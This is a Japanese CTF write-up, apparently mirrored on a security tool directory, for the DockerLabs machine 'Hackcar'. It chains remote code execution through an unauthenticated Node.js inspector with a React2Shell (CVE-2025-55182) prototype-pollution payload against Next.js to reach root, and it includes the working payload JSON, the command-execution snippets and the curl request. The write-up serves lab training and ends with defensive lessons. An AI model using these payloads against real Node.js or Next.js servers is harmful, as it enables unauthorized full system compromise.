Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hackcar-writeup — 解説: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell) | Kitploit
ツール/GitHubGitHub/iapetus12/hackcar-writeup
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトCTFペネトレーションテスト学習と教育レッドチーミングラボと実践Archived
GitHubiapetus12/hackcar-writeup

hackcar-writeup

解説: Hackcar - DockerLabs (Node.js Inspector RCE + CVE-2025-55182 React2Shell)

13時間16分前未レビュー
リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Hackcar - Writeup

プラットフォーム: DockerLabs 難易度: 中 (まあまあ、なかなか手ごわい) 目標: webuser から root へ、Next.js を破って


起動: 偵察

いつも通り、まず最初に: 目の前にあるものを確認する。

root@kitploit:~
nmap -sC -sV -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE VERSION
8080/tcp open  http    Node.js (Express middleware)
9229/tcp open  http    ????

待てよ... 9229? このポートは普通じゃない。そして完全スキャンでポートが2つだけだと確認できる:

root@kitploit:~
nmap -p- --min-rate 1000 -T4 172.17.0.2
root@kitploit:~
PORT     STATE SERVICE
8080/tcp open  http-proxy
9229/tcp open  unknown

9229 は典型的な Node.js inspector (デバッガ) のポートだ。保護なしで公開されていれば、事実上コード実行への扉が開いているようなものだ。確認してみよう。

root@kitploit:~
curl -s http://172.17.0.2:9229/json
root@kitploit:~
[{
  "description": "node.js instance",
  "title": "/home/webuser/node_app/app.js",
  "webSocketDebuggerUrl": "ws://172.17.0.2:9229/..."
}]

やられた。 Node のデバッガが認証なしで公開されていて、しかもアプリがどこにあるかまで教えてくれている。これは直接 RCE だ。


フェーズ 1: Node.js Inspector 経由の RCE

デバッガが公開されていれば、WebSocket に接続して Runtime.evaluate を使い、Node プロセス内で好き勝手に実行するだけでいい。

デバッガの URL を取得して、process.mainModule.require('child_process').execSync() でコマンドを実行する簡単な Python スクリプトを書いた:

root@kitploit:~
expression = ("process.mainModule.require('child_process')"
              f".execSync(Buffer.from('{b64}', 'base64').toString()).toString()")

引用符で悩まないように、コマンド全体を base64 で送り、プロセス内でデコードしている。最初のテスト:

root@kitploit:~
python3 node_rce.py "id"
root@kitploit:~
uid=1001(webuser) gid=1001(webuser) groups=1001(webuser)

webuser として RCE。 マシンは手中に落ちた...そう思っていた。どうやら本当の美味しいところはもっと隠れていたようだ。

マシン上で他に何が動いているか、プロセスを見てみよう:

root@kitploit:~
ps auxww
root@kitploit:~
root      7  0.0  0.0  sudo -u webuser node --inspect=0.0.0.0:9229 /home/webuser/node_app/app.js
root      8  0.0  0.0  npm exec next dev -p 3000 -H 127.0.0.1
root     30  0.0  0.0  node /root/react_app/node_modules/.bin/next dev -p 3000 -H 127.0.0.1
root     42  0.8  2.4  next-server (v15.0.0-rc.1)

注目せよ! ポート 3000 (localhost のみ) で ROOT として動く Next.js バージョン 15.0.0-rc.1 がある。これは特権の匂いがする...そして CVE の匂いも。

コンテナ内の 127.0.0.1 でしかリッスンしていないので、外からは触れない。しかし RCE があるので、内側からアクセスできる。まず何なのか見てみよう:

root@kitploit:~
curl -s http://127.0.0.1:3000/

「Internal Administration Portal」 が現れる — 内部管理ポータルだ。実に魅力的だ。

user フラグはすぐ見つかった:

root@kitploit:~
DL{g2QrDUvg3HiqaWeZBbZa}

そして今度は、その Next.js を経由して root へ昇格する番だ。


フェーズ 2: React2Shell (CVE-2025-55182)

バージョンは Next.js 15.0.0-rc.1 で、有名な React2Shell (CVE-2025-55182) に脆弱な React 19 を使用している: RSC パーサー (React Server Components / Flight protocol) におけるプロトタイプ汚染による重大な RCE (CVSS 10.0) だ。

エクスプロイトは Next-Action ヘッダーを伴う不正な multipart/form-data で、React のパーサーが汚染されたオブジェクトをデシリアライズし、最終的に Function コンストラクタを我々のコードで呼び出す:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B0\"}",
  "_response": {
    "_prefix": "<CÓDIGO JS A EJECUTAR>",
    "_formData": {"get": "$1:constructor:constructor"}
  }
}

つまり: Chunk.prototype.then が汚染され、パーサーが我々のモデルをロードし、プロミスを解決する際に我々の JavaScript が root として動く Next.js プロセス内で実行される。

出力を取り出すために「redirect」モードを使った: コードがコマンドを実行し、結果を base64 にして Error の digest プロパティに入れ、Next.js がそれをヘッダーとして返す:

root@kitploit:~
var o = Buffer.from(process.mainModule.require('child_process').execSync('CMD')).toString('base64');
var e = new Error();
e.digest = 'NEXT_REDIRECT;push;http://x/' + o + ';307;';
throw e;

最終的なリクエスト:

root@kitploit:~
curl -s -D - -o /dev/null -X POST http://127.0.0.1:3000/ \
  -H 'Next-Action: x' \
  -F '0=</tmp/p0.txt' \
  -F '1=</tmp/p1.txt'

サーバーは 500 を返す (正常、意図的なエラーだ) そしてヘッダーに:

root@kitploit:~
x-action-redirect: /login?a=dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK...

デコードする:

root@kitploit:~
echo 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCkK' | base64 -d
root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

我々は ROOT だ。 そしてフラグ:

root@kitploit:~
python3 react2shell.py "cat /root/root.txt"
root@kitploit:~
DL{Z8Gc5NFYMrH3W4vv5ZWa}

攻撃のまとめ

root@kitploit:~
nmap
 └─ 8080 (web Express, 静的, 完全なハッタリ)
 └─ 9229 (Node.js inspector 公開)
      └─ webuser として Runtime.evaluate 経由の RCE
           └─ 列挙: 127.0.0.1:3000 で ROOT として動く Next.js 15.0.0-rc.1
                └─ CVE-2025-55182 (React2Shell): root RCE
                     └─ flag: DL{Z8Gc5NFYMrH3W4vv5ZWa}

Flags:

ファイルFlag
/home/webuser/user.txtDL{g2QrDUvg3HiqaWeZBbZa}
/root/root.txtDL{Z8Gc5NFYMrH3W4vv5ZWa}

脆弱性 (なぜ起きたか)

#脆弱性CWE何が得られたか
1認証なしの Node.js inspector (ポート 9229)CWE-284webuser としての RCE
2古い Next.js 15.0.0-rc.1 (React2Shell, CVE-2025-55182)CWE-1321 / CWE-502root としての RCE

教訓:

  • Node のデバッガを本番環境で公開してはいけない (「内部」ネットワークであっても)。
  • 依存関係を更新せよ。 この Next.js は既知の重大な CVE を何ヶ月も抱えている。
  • プロセスがすでに侵害されているなら、サービスを localhost だけにバインドしても意味がない: webuser は localhost:3000 に到達できた。
  • DockerLabs は常に学習用であり、実環境で混乱するためのものではない ;)

ツール

ツール用途
nmapポート偵察
curlWeb 列挙とエクスプロイトの発火
websocket-client (Python)Node の inspector と通信
jadx前のマシン (ここではないが、それでも美しいと思う)
base64引用符の問題なくペイロードを転送

教育目的の Writeup。許可を得たマシン (DockerLabs、HTB、自分のラボ) だけを触ること。

ツールをダウンロード